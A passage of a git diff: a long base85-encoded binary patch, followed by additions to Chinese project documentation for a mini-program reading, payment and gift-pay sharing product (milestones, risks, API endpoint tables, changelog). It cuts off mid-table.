zKc5{UYZp4e6-ouZ9AH-pL%*N6Dvk6=R;*TFyTM{n5O zWZ2@n${0X9Sv^aA1Fa8ixZvvyMaf(Ge}+6mRCIX7z1*?cXt$7%NU}79Q;X&1?gY5N z#;dJ0wSE&;V(ceOtYMdH5pTuO0DJP5)l?9bocWWtYAs*rHPtS?{u7Q+FIk>98@v8- zB6rbQa0GV*KWeK^mlbtPOUR0X&PLbD~TMZ zB6DlpVREtsRUUulBYj6h_k%zDgWYlA4_=s}z)pVDTGZr_s;q3!y5X9IW{5_2K?k?LLhinYPBniLNpFy z$$piCEis*zQIefGre`)Ik+~@KrrhgOd>Z~0_RWs>hGt9Z=H~vq=L-tg@pzK`UX|im zQcP#GB6W2{v!>P5-Q`)Ui$%V#f>IKO=D2a<`@J74Z}8DsQY~9hWcBmn>`x_SSxi$r zST`!H;^;YrI`-Bh7f~UtIJU~nT0inMSS+&9Cec-D5gI#n?xp%j2mGWhmNoqx*V}~0 zqBQT=Qh^Go^`SEGC}Ch%l6f_bv1|7Bg-kHnDI>_{a2GSMZpPPsvSeH zFdjAykNBOhZbn4u{%^pjNA=?{8`IE7G_;%HdTySR72MEnd(Q( zkde_P2AK^qGkNp;x9B`OUI$Vj$|;=*Y7$~=`)iutsoWzg-oix&;U=Jv=&>N?F4Wm} zK}q%vZ+y{)GNsGnqB|;Ns|q)ZURt)DOw66CeO@k}RoTAFizBf)sMxLzU1*p+ASZ&+9$D3ux7sg*dvvGER&nCnD~uNml+2siNv3nGXRh?rj)8I;~yhHPfZ6^jPVF6R)NdLrQ151dS!%dMSg^i%uXsc6Of`SB?vCwST z8)Rz1`GrSi(h`QJE!R+xq4gJ(%7+gYYw&(LJHOWTXmMJ=v!D2-6B=)B&HSWMdd$f; z8xjB$;`FyIC(&rX%v9j>Sz)=>!vrsJ=%cgWr&8aI6!&iQs%)iOmkIugXWa5A%L(NR zuQ8&}MyfR5uc1jGUS0kxzOCLcNY!{&xN^W`3FYX!THUpRAsAqh-r5_H9mIXcH_ugAJ>` zL{;e)@?k=#z^vO_%mMSI! zNJYQzRk;&@8obR~*e(8a(g!Fd!5hD?ziZH8xCXcnbH%F&q$75$sh{0V32kaVAPv}}`$ZTIWgp5!kGqyDp!s7{Cd zFJb-BTuB`0dw4nN@Ijz8&E4pHoM4=oT^q!Juu|S&$-EfFVSDp{>Md$aDHA>wBhZEi zuA7FTDH$2*HASNra za>yS2P6ryMR@&+pn zMe)cP9@@10flTFj^B8GmOS36`uKLtMWHUfZ??PzFXqAaFNO5^oZH^)J*DUU}VCU~H zU5Q~+rI!0<+4?`%eST@G%hYjj9q#87Q0uF^v7|h-0VMF1c~}zdnmRkNwWIdBvrzot z@*L8!(4YC@qSY#=d<*98Ag!KwYC8KJh~J=$kI$C1DO!KEGOvuQ3>(D(*n= zZHW$SDdS6tH9mfV%V&92rS%@IQ1y`C3Fxg!EsT}Y@?Z2v*lM*WB#%$!f{3~;t%z9S z)QF}nqJVzXrKZBZ_V!+zi-=~hz4(jx0n?GnqsAr$+Dc6(soXsO^pfmXei4(#>tDva z@Wnsr@-6Sr$(xHW?;kA-YDptQW(7;> z=UjHb(F^o)PHb#jdu&&*C| zi_2HE`EF0vTh}8TPfnu1uThH-q#i#I|M%s5adC1f1t+DtJAF|}oJT`4A1)5^SGh zPMPBUOWu`PcXZQ)z#*IXB3)2uDZz2LzijphYtO<3YZikn>NA0s8$dE^vNG-HN2N%< z!e1d_j0``v0LlqJa*aKAT+99Q~jTXy2qnJm=&LHHIA`(Nw zQhh<``Mp=a(#-f8-oCz9Wecd;WL&ERq75!%8XcA871=j@Gaq3oT44JH5|rL5YU5SZ zkA`m8PiApqPpV^0WasxyM5cj`a7tY}iVNA~-E_DCs1jp=-Vt8Ld1#G z<#_||WOsj8s!~u3-XZ~F$xI|L;n|iF>F%7{F4PwW_yWdhfYB3>7DXxA9V)N}Thnu8 zCJ`D%veomCpNv8;Pxlh4#xaxBqa{&D4Ah5$5W~3Ti2RKHOn-BG{5_Pp%*rWgrQE&S z3gYP}*_Of^yuOmayLgiV|MZ`T%xg&p^rA@6v7x-RZUf>0ivQ5KPGH~xeb=k2&#NkQ zr}Qc9KtMO7Y0ltWeEE#!yxuGB!dLdHar|^p^B<-2MUT(O>>0MmyNk=R{~<2`U?WCA zuX-zchF+i~LQ&~0p^{$O&cPT&WyeV4D1~67Nij8-@I_SMK5ZoD#aLWg8oyp#SVN6{ zMwWdN4fJ%wt+WT$>`fBI>Y|`wtoC6I@QeMr&oE*5@<1I*lqo$J$ZnOWZm9W&{i^l_ z$=SdBJcCBht9vhxo(L3qK2h_Dp!Gd_JdX+Ce|Uf^(wwULfY2F&>T1kk4o(FFr%q?7 zIZ1gHwIDP)DkLaKgbe}aBaiVD4!<3tmqK%*KZ&%Ka9B9*r_*-j=v(5NU)EmbG|lB* zY^v7{D5&Bh$%)x&qC@GwhB9~0+iq=Ef}-UdKP!}zdBdDnxsu*rlxI$x3m*H^&-2)Q zBO2RcF(ACJVH@(PeqnGsm>h+!&@y%=yO2q>pq3idM%ybW!}y`@5%Uh zzho9(EOrn{IYQPOu6V+USgOi$B%aWWT}Phd?9iXC2@=)Mg-Bs_QUjDSnVn0z8Qg6% zD+q#hrld4SH5T0jgbU|In^UEx7vIdVDh?h@Q@qFaX7ZlTe%jOg4;nJYzb?-5=sHlC z=+}I=)TZ`TV6NIBCT>WUh%74|rF8@03u{tR!tszHomkA^1uNtMeAgr}d zzcl)@2g4heE*DzC1>#HbwYw$@F;)0L@mamR8-KNWm2(lHIRIbt)DuhAowWNNh#8xn zb;#cTW%)ie_=%$=w9kghfm{ildMutq30;Cd)&Q=_pwDklpvMlzx@*~|h6sAqPycs7 zqekH`^Iu^>zb1Q0zxFMcq@-aTsR3;bk5^{fr=b2lVFihYSjA9DOrVC zPj2KZDt5qF3**!E&ipo|(Zew6P?{!xEFXL^?Bk;GfL&k6CRye?li28J6)w z!{wTfbQ0ZqY|~=uVk8PpMAIKyz?{TBr|age!f3*9q{cTR3FdEZ(wq%RLPT^|qIc^I z&WApG827JtB^!>o$rPEaVUoDl=^OeZCiD4ey?+9~2~ldo;ee@ytb5UVGX`3)=IYlc z3%c$tc<&_mPGK!}v zrX(1wT;x}o|Isk8C9@ra!BrbOcr$6m{E$W#WjC^=G%ook{5tc`nGTQJ>$#oLn0A-4 zMmad))Ztou(q?~xV~9ToIj}bjRT!=XUc-n+m^UoE=blQ+Y_`{xH!DJeoOfEV_ z65!?j(GniDzK)6kITR6=_{isaNfEp1H0&4oPdd?`_3lD(_8m>PzaZszfUHcP(TXAm2R$VX&4C1bt^>a}VAfJzouf zC4QzNYL^d%Qpc2a8*M0n|HNGVLFdL|Kco=ZiNHY(k2DCiE>4E6CoJsO!ydm{@`85q zn+3vLp?xvd`TBcz3BOA*m5es(mtk>N4Wo+av+{Zha8Z;#`nZs+z9flUQ2?e+S*Y|} z;GZ+K4Zdb3);S&>`Yw-Suz}lXG4_0B>Q^Y4{(h8#iE|TBKNfop7vJsH7vG(vZ{jC= zd*gH_d0@dy-(o7{~)0Eh&4+{+hFm-6nwY)lvmrejLyDeJ^>x0t(V==WXZ5 zvb6R@KfJH{IrY46FQPlVeJnd^co0CA(+eune|EQXH?A(*uKu9xjOht!8Y)EbGqTJz zi%jfNsHEcYxH4UnR?nbbub{#`+o?jsOr51^P=aC{LT>aurD~{+EL17Mw8RFj8v+=joaiUtB$> z=V|k^>6Y8dJ|Bm@Kh0UKy$${>9@=5MhhZ@-dBX!~x#%)*7Ysh|eIZLu$xQ26Wc$0j zZ3B+^(edNO8x}!*+UURS6K|(1pIvsyJ*gAp*YuXd{%3jp`|M6lf+w^r>Fu%6bdQGJ zp`Wlvza*UBL7x_P5J-M=YwSdKwNsOM1L#DC<;SLz*by>spo(WBI+k2Z>=kC#*R*@zEsS*rzs=U?je`x|>-p`v@p0jd z@Fq&-)Uuk<7U@`6f$M%+zyejT6V#m4&)H$1O z@$+^koawCI&CbU=K!@hLz`1kRML44l*E@07Q!^vTdy8nxyZORpOno$;z}GJ}DZ(u- z|FF;WycG(C7sP%b70Bka?PalHIg{&Rz59#Cw8_;q26$YgOOod|Bl1;fo3V=q8%r|> zGu#wSw##pwLkwJ@hp?j;f`qWDC^ArY&tXL$M4iej(T*Sm~lo(vD~Fmfh)s~ z^i(5;G$1Dy@H>sW^(S3Dad3q4ZwV5Gz;w_@LsWXilSFm}C{XgVdh*F1tg_HaUOJ{2Sfba$Z?sZ|ILF}$wUKt z(V}zz!-Rn;@AXV(9dxDV)OwxEiImO0@akbH0p;&j)p6*_N~W6x?o27oHsLID#nO{f ztYTDEMJyG2TG5tSYMm1Mv9Y~vLkQ(uSl+j-w!hoKmea79Dam(9%CN3yM<5UbT{Y72 z3cT7++&%ilLi>Shd#+|rl)H5Zb_dbF8P!*5jU@-gF%CxYR&070z`NocT+y4Borg_} zwTM^0GG@VgG}^>p$#L+jz|zq8eK#FQyN>=X7(?UKjZbZwp?19ym%H(&{#GG2HH1)^ zsODG9;`MSztxpPl$Gxgm-73xM_g8~?z76mGzE@X6n;&Fu)u+$ij?Z;MQTVS1jKr&v z)b0`oh`ZQ9S3Mi6JM1 z)7Q{AJYDzfEbmV;7!3ud_oCNBQehTZfNA8UgydyHXcxjEsbr*%60@o*zyXk|OHX~Q z;>4+0kGlmIuVC2CdXz(IVAF%a_7m{9?}-txe-EY|d&aSCgB7%q4t|*!Ntnvy0naI` zsiQ`T>KOWk4ID5(tayd>^tbHgO`dh^2rn-fd=PM?Pp;LJUNbJvkK0)PJm8&7Sb4V7 ziiar%ge$`nxid0pF!6C9B^DBVnOYMcgQ>F;SwtZNdr}fs%@16;rC_GORHsEJdye^{ zv9{u3+f5b$bvK!agxBN4?b-QgFci2Ln{l1?2@#g)>DH5Y9px{~f^{?R#pU>31kb+N zg=mZZlZcrZH!BSIxRr)mPpkEzMBdlR!lT^P&{X!^4n3_VF7I%X$F*yLR?!%@*@R6M$SF?EhfPyd=T+*Q^)35m7xt1YmN=!r= zDJ2?~$wr7vh!8s4lGPTXlqw0KXSZJ&r|IwkI@mCFREX3>Gch9KUgFA*|4F)QEiD}a z^cMu-3ITh+dAsh-gUzV>@_VwQ8EP-wu>6NbSl3ez>!$bfsS^&vXf$E9PRsS_rtePn za!VU_lU&k3%ibR6lpZhtDdW@xQh%P>LB1ILGG9M7h`z&6cfS-lk7F)jo#*U!X)9dv zETzshTH-`AHj?Z*95f@)>6;kApsQd;)WT7pb(|JmD@ozg==R?0tk} zBLiHnl_JW_^WD8536718Md6}81m&}dz)=r*v%2&g`}1I>DExn+udx&E{U)xMF#i?a z)wh1_%g(#n=l|mZ(0XRv{q6MvQe%ONg*wq~9wVxO@gX}Ah56U9m<^Zv=T;q9I+t}E zK*GmtikDNc*37xBT=d=q$0i3M;^?hMX`hACI)8}nAt=>uJRKqV^1u zsN^#taYMYG0!L3Hs4|z!VgR38J3Hf8-KC@{TG&t=gjWBs!?}CGJaUX-+MGv`B*ws8 zeX8YHWB+#a{o@Iyku)FC&Az-3bx(QD-K}5@+P^5;B9i8(HKlmwcw8@IPs`~+d3aE` zk8j5hTE`vcI_r^|kgm?z?BqEuIS435@^C{1^`!3pq^g}_)0eG9&5ZQ2F@Gule4_mG zu%D$8?ckoR{6295zm`kkX^O|Ho06o(4X?-%=7mMMLCggQE6qpY$K@f{zWQq`|Jr)q*&G_8u$v3&-bUX zmKF|sUaB-Ow5wHr1$;KWS-a_KRBiI~u%MFaN;-6PoI|#0)aR9`5K^7g615Ut{)|IR z_Crt>Qzv6KFGp`as7ad^QwogqoUAdk?QC;-J3UfXrhRQI|0BTj;}WNtZd_HXbYjBU?QGriXm()kVDg@a zFR^1ZJdYNOP>6b8CKJ1gK@qEzV5^decD#-*g%mHp9nZ1n6ca=Ltv#0`D>T#lPw=0L z>Rzl;D-uLc&4RP*@-|m;>g4lkVq%YrKC)hwf7y{^J={_KA)aMKy7Sf)&iUxJ;gtAK z=wgJ(AqBA~m@*+I&RZ}iiucLeYgetySg-!&)cxA+Pd>LSt(H1ZOAi5sJ6O@?ApHon zt`_g19f9YWE-u#x#!W6SV}}-20kOzrO|Nt zZH8?OcIFl-G)&-6!O*_9S(bj20ARqAcIH zNTOgWMV?f0mTM!Qzm|%<{pT%aCxBjB$k&nLLP=@n$lY3K%3$S#4KDZVJ3s=fe)UYF z1L{}FTn92!E<=PJgO1nH==J1L3(+w>u9yCwruz-=`|;Vmy@W4?$5YOQP9_e3NP%bQ z0_^_5#sclVi$W&foTl!vs|R~-dMmQzsMXh$hB(oLrVr9B-Q)YAw`CXnQ5au9Bw+p8 zwaWE(D%x3m8>O0P-nZWn>P&|Jr7vtthkjR^&m*rHu(2wN$qPr#Iz?5^1{1lQl+w_Q zQkf7*AGz0;VEcUEld9XVfA_?!b-HmfK_U5Z`UCby`(`kY!bBR@RV{fL4k0Ux{S z*hL-%rdqfCVYW!RT1S)rh$%HgH{^EU*!H4*JMEizHqYJu-vuqYXLo& z+=LEaj-P(KU*{Io+s_>e@OC+w`0NK4h&R$%Z7L3b)%%3Qfy(izFg@@FWsSMxdJsRQ z>zOZA=!C92F`eU)_3D1VaCYO_*6)8oD%zqZZp*%L7}nQckdt|I3hL{yM2G7x2TFWY zS-EI};1Ge%9~DXI2)?Pp4XX<+Egr5-+1cfY>fg_HwAi)RkC6BG<+NV2ICXjEFQ%+F z>pQyV?U_`av1eZA`a<7slsBJ_(~LH`Uas#v@6P%H0?)L6-@VKflvHb%m3V;C9W2uG z#or7FWJLNQ$^nS}ea(rMv4alPoUm18P^$?ZreFeH%qJ8GOyOE2Bah3`b{xV8gTt!^ z_7Fp3{^sW0I(yaYw8=2dwN}9fmTy+Wd;?o4M-bvH92>9`AZ7Bf^4%;KgueG3yzO72 zdt?z!KR=CN_+GEu39ujfKF@B?;b6b7Cg{D+=+}mAK_DdcSb& zRB5fMQPfuSYlaxLsa>I=v9G0rd?|M$9J!d83tSk9%g%f0kbz^Sl) zZa5g!+8^Du%B7fm_QCxYHy){1cBc349&Ri1Pk{RA?q3sOSCm>YUki6jJYX6@C4LFG zgD(1QE=@}hiP5qsS1D1VrV0&cFkf$0F0B*p@w9Kw&0v(qUR+z)nh}swSei7?mLAT%9Vx}_sfJ&av+@;{fIV_eopP$=}cS(Z3kMFH0-}5abrd}M>7*FgmGE5&dUl(cLlN}clj6w$U z?bp|nLN~tJ$|5q%RxcR$Hm_gbZ|ABMT#J6itv^zRr+(mim+ zPgB^jwZ~7Zi$ReV3Jc}nTSvRQ(j{22O5@Ldpj_v2cz;ugbkfp_^!I+zdAGBG&k8`7 zzU)k1Y0`)qJWTPX*DC7e^ONt#^&Rk0zmH4HP8SCngAZ08{5h=}b0c@ENLEyB=}~iC z9wz_vw(8r~7Ixl$$z&(^*KXkqsyyWQ3pYpmPJw!*`;Oi`ktV2OU^wN4RnYD%Z1Ca~`VRNJawh?pW{~=OILDy<%dR32tI9CTP*=e|*%F zSI9jCo@lA5{}}6(*ztW&y4@m2#;n;eb7vRY^4TPX{)r&pS*1N3#?F3lF<{bm);nR~Z?($zmln(1OtKhT`SjqnkhXa8+HJJF=*6<1w9dDKD}=0s zultn0*>s>S@wI*Ov#@M9e82CkeKH3v*NTmf!0P9O3U)VHV(pPGMn;N%scJZr6NT+5 zC#GWuA0A${x{&?PDq3h}27thI6l8f<@6$vgF0Pu0`?M*Q?7ZX8+hI)F-$%YNA?G$l#EZ|?Ub zj7Ekg>c;+dQa>D01Em*gkfn7)oQA147T$eLF3s)GsqRQEEB{qI=^NpCTE4Zh=SV^| z#YHUT&vRKl$(iVH$mG_s`>kZ@&0%SxPG){9`&==k{_r5fqE#Pq-QrUS=sdUn^E;Cz zDoQaSBb_6Z0~ZpFhFf6kkqt9^bX``6O4kl=p5cjR7iaC4w=B*U-$1k=B=uEXj=g^0 z0)8E_PyAqdqEO7L_Ak*5OP(qldX~T!afTC3kGxkIn=-ZjVeP;Fl{N2laVzyXggVD* zDQFnm`0ADmi>=w(OG&|8#O~C*h$~vmk@c1O(>)5NL#ZgD+wcjo_dYkR{?6X?+(kHA zVBybU4dmjS;9a9>&#&KcP2zz~Hhe)2)xSaRl?L}uYSQ_xJ{CY`AjJD`sM0GyDk(7Q z-#?7B>_zc6s^&xO;4Uj)2S!VfFOPxAlhIl6ymtzaVCuw*{d#ZiBDGAe)3?{G(Ore? zgV#?+LVoXqgBWr!?Z2QOz+?}?-(q5 z^&2Gg6;@UT_PWYQo?_Tau{7NoPRMP zNwBxK@#*v69P8&}qPVBK*3DY;5I;@zxB>Zpv*{a&vD6NNn!%=KWP&Vcv}1!1>!ej zOEQ#pqm_^#b7pNj>u(Bp|7T9_#ka>zRaaw3&MF=a1W)N5KYz_=4?F1TB{dcN=3(}l zs^Et0V9x~no>B8%6XV>|kUX~MtFW@M1sdZhCE7wBOv`8ZOpx1D9%7gqc_4i25i(^m zHt+98Wl=n&HJ5gwEE1!R)an#?;Mda)l~gc8#ufhl)H(v;j|EH66UmmaDR}?v?3ww! z?d3CeLv2A#O?d5%r-U*_Dtwf(zU-B$mJpz+UqXy_z7$9d@uF0{_Z0&VI9rYnImaF? zBtd*d%kts$2WSZ>1HxZyx;QhcyKrCjN|C*yiyGGbbyCnT$m*>qeBS?jc^*r@#N4#F z8`3yCNzCK0|CLNxwCVk;cJW!=!F*8h$K8~hR?mBehPG$xN~_-+Ua$B3K}zGm6-uI; z{~S7S>sw_&wV&@5Px6~{E_2n(PbJjc-a1)7fA4*=Ui#qd*lOvklYnSNzMy>pU1dXl z90vUi#fB)-e6r)Aj-GZ=Py4clrgay7e$c&?L_qu%LQBfUkPEoHW6(&3p!4%RvZWqG zD{a$%ap!JPANvc-bxg=b+JnwJdxGWs+|AOfap5Bj7-vAXx}?H~a;h(m7>x^x4>4Wv zaUd20ryIfHpe5U^0rDymv}r6dr-xdAj(3~nJ(z9;GJTXW>RLSxJdIvi}A7I@NM+Q z{nrbhlJ`YgG1ch1W(|WQBY&V2O4Pvb-73%!|EEIAyo?^%Zu7@F(4oQZL0?l_Wo?O*hve|)0e_(@C0i24!QlzT<{&*sK($XN zXYFO&;9D&1m2!5PUCVB@ea5Ag&*(A)0H9xW1}2l$4A1e8=hG;cz8G_0R6ITI;W+dB z@ts@lxF-p1hkR&AS(PWJtSuKgzn7?{@wG_?G*K!FNGfaOt5a9ip`RDLl(Cv- z89-L5uN>-ry~~DW3et6JTo;0^tavOGk#-N+v&4f5x35i8>DM`t{^&%2u&!Jvg^*>r zZ^DjOXu%GQLT@uS?~Z9qePB?)b%6h}P)r2MC;8YBs(SxTQX70Z@WDdcX`|xVm%+Jj zGk&f+BtmGYMPGQ0yw-}&=}_s&t?z@)Tw``HD!Avy*6~v5aO)Y}HI80Xo#!>=7xXiw z{cD_#Y*2`i@uaJquS9K&dkBwL^rO%;tupGODwkwJrCPfozh4aagvz&rek8$o33&=0o7-Tx;Ej zKf+tnup5Rq3v)2CQL#owtK0MFC}**qGZ5j(%u zzSoahcN!dgVoyH97&p_9x?d+@_CwCdXzt6s3UXPd3UkX_md)mQA7UCuY`mBUgx0P{ zykI4tFg0oz5aJ|_EdoiB_pVfCLj^ zuju$%JPSJ@oBAYEOrwR)z5c^Fons=|T%F}GWuKFGZ21kNkw@Y0-Qq{X_Np;H>I<@C zP`5`d2?K9DfBXIwbRKJ)*NgE2J=Aog8@X-(WW?FyadyVeU5eby3J9Yvk2chBv z**QXPIQi+Fycb4yr3pIQooOh1K0L`QB*;FZc0FmW^{xqoz!nC2eWI2vzSMU(30SJu z@(6v;CodHZBl(`cF)(5clgYYb?Tm&_jJLuT_TBa4kVFk&AQc~I_+jQJraU2q1+fUOOxNnOx%= z2R@|U*MXMqe%nO8E}CiLPu7CuSE<>HR$1Ck+sBkiu@4q!@25$+HXB#$qZeI^(6O{lF zNd4f??MT*S$x-{r+sWZl{et5NDLQ@@ZYhP>AG}dSo)A{M@?(sYS7@j7hlYysVv=l^ zZsX?lwKo2HM*b$^Bt2}%6c!^Vrx)kEdd_#sI{do^pSj0a?g^`ngX4^+W=@QEvNAA) zYX3Fv=}*1dn9yEB?qfJ`k*~N5lgAkC>L0wcxHxPl)37W?eA~u4V<6Mr;WXZ1&txXm z3z>L_RqNfd7q{eSzI=dff$NZPxjBhOU1WKX=MaD0E+J=S)tFJ8HI`2#`Jh!+!oZ5C z7g#60T7S~y@9b@>(1a|=d-dJ`@gshG11w9r&CHG3s6<5%KsBWryUUr!VFExUMvhK@ zo!(^OEOjE=L^_NkyS84{($He?*!{N+{-zvi|LO>~hzDRwHd~o$zI?iOua8}LG;(R4 zNOaWRrJ+a+Ax1@W#CZ2Ld4{-sYfCmDcN`-|t%wm%Fa4yI7PYLJ=NZlGe60)u%iOo%e zaZ$qyo~|s}lqDfAf_ zeQYsZUB2|=_q-zxy!RWlgq{}>-xT`AJ50VSQUX`26?+T!ynWm_UPJM;oQE2q;sPjs zvv;J2-WnO#{m%|Fn>6bbDGVmHJv??qJZ_34o_4;&yJYQVQz2jzMWdo2xRkxp6Vjot)mtUdfPb z+q=eII2tC&p7?NGnweh&R;Xvjx-v12jB4*O^mkMfPZZAG>0VT3KP1XjsVjCm3k1E< zYa4;DXc^fnhwzjm z#2QRLzK_aO8{?#%0UAYVLA_(dOW=aSa$GQ$q-49fU%p=M-R>gdXt(g%c(fyYy$)?^ zddP;2$zW!cr^Aih$TXP{tG9@ZT}wzbKJ-wQyaE#zyGolg+a?Sv?#qisHO9^`U12>w zv+Vce6?^?6*;QAbSFQm-kL#`$isEqtrPkS?KNV#Ycu`%Aw$c3-gb0^TMs;sKTQ8O* zR49C6`mvU2LQD6J>C}s+w=`kkPnx)@e4q{;e`@*)mRHfhleV6W9&y340KTrBSh~u$ zet41X;zp9#*H(dDcpwOR(ftzR5||)7 zqqTPhX2w(x*A=iFsDI7*?6cQCl=h5-um~HaCcBLnV>O1#h>2G-TT*qj)mezf_o%dx z_eJkq<=x(_bJ^Q^BwNigX1lFvNN4j_t5yROzgZQ>H&s-%Zox&6P|eC?OwKizk-TK$ zc0B)WQ0=IC1M(RUXdastX*fH&05td5$)3GtPRKl6Z7Y`Fkl-^gg`Q-v)6v#B77a(o z9fb&=+jx~r-N|{ARbL&y=}5g!SOeZdZ%v6pR5z|s7x9=LR?3q_--pjEYMYkl z7mG?xqyhx7#}&A)%#r^0eioE|fQY{SaS<`7gY zZbrVX%xwzC={R3_&N>K}k=xKu6c8d#c9Xo0)h1TIlK!G$})B(`!DxsN~cOo|HFkKcCS*qy<39@bJJ}NF3AQNPLGM zBtF@tv7}Q}Z4W6k&e}>VK-H_v#g2~1sru4_2J{Wpj~@?hruaVanc6@*E*&BW60q6k z3Km)IoUlUq{@}@?w!Gh5;%Vs;tijkaP0WuG2weQXkXleU*@vdFVuvPj=(|`>9)j6^ zi2ZD5Z?zs0KW8AKj1$St(O)G?>xbdvZ)=AA zb5v0jyWv4SNTa2g$>f@+j}NJ^fAne?xPXb-i ziW6(1*VoZ!-Ll1xJq$TkgI}=r;k+;O_!!GzeXa@zHzCUj?T?W zL`>GljgCAJ!xBsL>Is+DIfM}Ho(j|BUQ3>gn?AG6&DE+f{3IowETx91QjV-dB}!4O zk`kzUxvYteW9$Lq=obJ$;;W^m{E(4n6Jv2=8X+THKe(0YRRtjU$))R*hqg0S`5oE8&>nr?ak3X~>_FY}AQ=Erv zXu6PncmFMgBQz9+jQ*XnOQ=xN z5XS()xWB@|oj@AuW5{TMUptXBF)?6#?VUy?)D)V^eklNoqydCxh~ev+G~t~xM)>T6 zMg_1+`2>1dQdR*5HMIfnUDir~oCeVUkFTW1MwkFlr8@>6NpS;_FI8N|RNOZjKt5p( zVLtll_z(^xGKit)C#cgRm9l+$@d8KOp~OT4`*Mc*Tq77M@-}G#-WPGV5f<~-JP$t) z!0lUHI+ueJD-m!RjS9=Zqi%Cq;~jvL)RKunw&HA}MvzeAuCS=KhJR$hUGVC^GlC-S zXIA5QI~o=F1N?)D1c;`O;^8U{@kf9}5#jEy5O$8pkFmh=OT9hr@Cw3g{{IUg^q 作为《需求汇总》《以界面定需求》《运营与变更》的“执行层”补充:记录**当前阶段目标**、**里程碑**、**阻塞项**与**下一步**。 +> 更新日期:2026-03-18 + +--- + +## 一、当前阶段(概览) + +| 目标 | 说明 | 负责人 | 状态 | +|------|------|--------|------| +| 稳定版三端功能闭环 | 小程序/管理端/后端按《以界面定需求》对齐,核心链路可用 | 全员 | 已完成(持续优化) | +| 新版差异收敛 | new-soul 作为参考,按“稳定版为准”选择性迁移 | 产品/开发 | 进行中 | +| 性能与稳定性 | Redis 缓存、OSS、/health、测试流程定稿 | 后端/测试 | 已完成(回归中) | + +--- + +## 二、里程碑(按主题) + +### 2.1 内容阅读与付费(阅读/购买/权益) + +| 里程碑 | 验收口径 | 负责人 | 状态 | 备注 | +|-------|----------|--------|------|------| +| 阅读页权限状态机 | 未授权只返回预览;授权显示全文;VIP 全章免费 | 后端/小程序 | 已完成 | 见《运营与变更》阅读规则澄清 | +| 支付链路(微信/余额) | 下单→支付→回调→解锁/分润正确 | 后端/小程序/测试 | 已完成 | 见 scripts/test 流程用例 | + +### 2.2 代付分享(发起人支付,好友领取) + +| 里程碑 | 验收口径 | 负责人 | 状态 | 备注 | +|-------|----------|--------|------|------| +| 代付闭环 | 发起人支付后分享;好友打开领取并解锁;领取明细可查 | 小程序/后端/测试 | 已完成 | 相关文档:代付-业务线框图/简化流程设计/需求分析 | +| 朋友圈 singlePage 兼容 | 单页模式不做强动作(支付/自动领取),引导“前往小程序” | 小程序/测试 | 已完成 | 团队经验库 2026-03-18 | + +### 2.3 推广分销与提现 + +| 里程碑 | 验收口径 | 负责人 | 状态 | 备注 | +|-------|----------|--------|------|------| +| 分润规则可配置 | 会员订单 20%/10%,内容订单 90%,配置可控 | 后端/管理端 | 已完成 | 推广设置页 | +| 提现闭环 | 小程序申请→管理端审核/打款→回写状态→订阅消息 | 后端/管理端/小程序 | 已完成 | 见部署文档与订阅消息 | + +--- + +## 三、风险与阻塞(持续维护) + +| 项 | 风险/阻塞 | 影响 | 建议处理 | +|----|-----------|------|----------| +| 朋友圈 singlePage | 分享进入能力不完整,支付/登录/领取易失败 | 转化、投诉 | 统一单页模式判断与引导(已沉淀) | +| 新版运行时配置差异 | runtime bootstrap / mpConfig 扩展未完全迁移 | 部署与环境切换 | 按《迁移完成度与待办清单》P0/P1 分批补齐 | + +--- + +## 四、下一步(建议顺序) + +1. **补齐新版运行时配置(P0/P1)**:runtime config、loadMpConfig 扩展、auditMode 审核隐藏逻辑(以《迁移完成度与待办清单》为准) +2. **文档持续归档**:新增/变更功能后同步更新《以界面定需求》《需求汇总》《运营与变更》 +3. **按测试流程回归**:每次大变更按 `scripts/test/功能测试流程.md` 输出报告并归档 + diff --git a/开发文档/1、需求/以界面定需求.md b/开发文档/1、需求/以界面定需求.md index 777597e2..77069cbd 100644 --- a/开发文档/1、需求/以界面定需求.md +++ b/开发文档/1、需求/以界面定需求.md @@ -24,7 +24,7 @@ |----------|----------|----------| | **pages/index/index** | 首页:超级个体/VIP 成员、精选推荐、目录入口、最新章节、用户资料弹窗 | `GET /api/miniprogram/vip/members`、`GET /api/miniprogram/users`、`GET /api/miniprogram/book/recommended`、`GET /api/miniprogram/book/all-chapters`、`GET /api/miniprogram/book/latest-chapters`、`GET /api/miniprogram/user/profile` | | **pages/chapters/chapters** | 目录:章节列表、免费/付费/VIP 权限、热门与最新 | `GET /api/miniprogram/book/all-chapters`、`GET /api/miniprogram/config` | -| **pages/read/read** | 阅读:章节内容、购买状态、支付下单、阅读进度、@提及 | `GET /api/miniprogram/book/chapter`、`GET /api/miniprogram/user/purchase-status`、`POST /api/miniprogram/pay`、`POST /api/miniprogram/user/reading-progress`、`GET /api/miniprogram/config` | +| **pages/read/read** | 阅读:章节内容、购买状态、支付下单、阅读进度、@提及、代付分享(发起→支付→分享;好友自动领取解锁) | `GET /api/miniprogram/book/chapter`、`GET /api/miniprogram/user/purchase-status`、`POST /api/miniprogram/pay`、`POST /api/miniprogram/user/reading-progress`、`GET /api/miniprogram/config`、`POST /api/miniprogram/gift-pay/create`、`POST /api/miniprogram/gift-pay/initiator-pay`、`POST /api/miniprogram/gift-pay/redeem`、`GET /api/miniprogram/gift-pay/detail` | | **pages/match/match** | 找伙伴:匹配类型、留资/匹配提交、资源对接 | `GET /api/miniprogram/config`(match_config)、`POST /api/miniprogram/match/*` 等 | | **pages/my/my** | 我的:配置、阅读统计、待确认提现、收益、VIP 状态、提现入口 | `GET /api/miniprogram/config`、`GET /api/miniprogram/user/dashboard-stats`、`GET /api/miniprogram/withdraw/pending-confirm`、`GET /api/miniprogram/earnings`、`GET /api/miniprogram/vip/status`、`POST /api/miniprogram/user/update`、`POST /api/miniprogram/withdraw` | | **pages/referral/referral** | 推广中心:推广数据、海报与小程序码、复制文案、申请提现 | `GET /api/miniprogram/referral/data`、`POST /api/miniprogram/qrcode`、`POST /api/miniprogram/withdraw` | diff --git a/开发文档/1、需求/需求汇总.md b/开发文档/1、需求/需求汇总.md index 7be99212..601fa378 100644 --- a/开发文档/1、需求/需求汇总.md +++ b/开发文档/1、需求/需求汇总.md @@ -55,4 +55,6 @@ IP 设定、风格、输出规范(见原卡若角色设定)。 | 2026-03-16 | 存客宝创建计划参数:planType=1、sceneId=9、status=1 | 已完成 | db_person.go | | 2026-03-16 | @mention 存储格式:span 必须含 data-label,否则 TipTap 显示 token | 已完成 | ParseAutoLinkContent、autolink.go | | 2026-03-17 | 代付统一到代付页:gift=1&ref 打开 read 页时 redirectTo 代付页,禁止在阅读页代付;代付页显示部分文章信息 | 已完成 | read.js onLoad;代付页已有 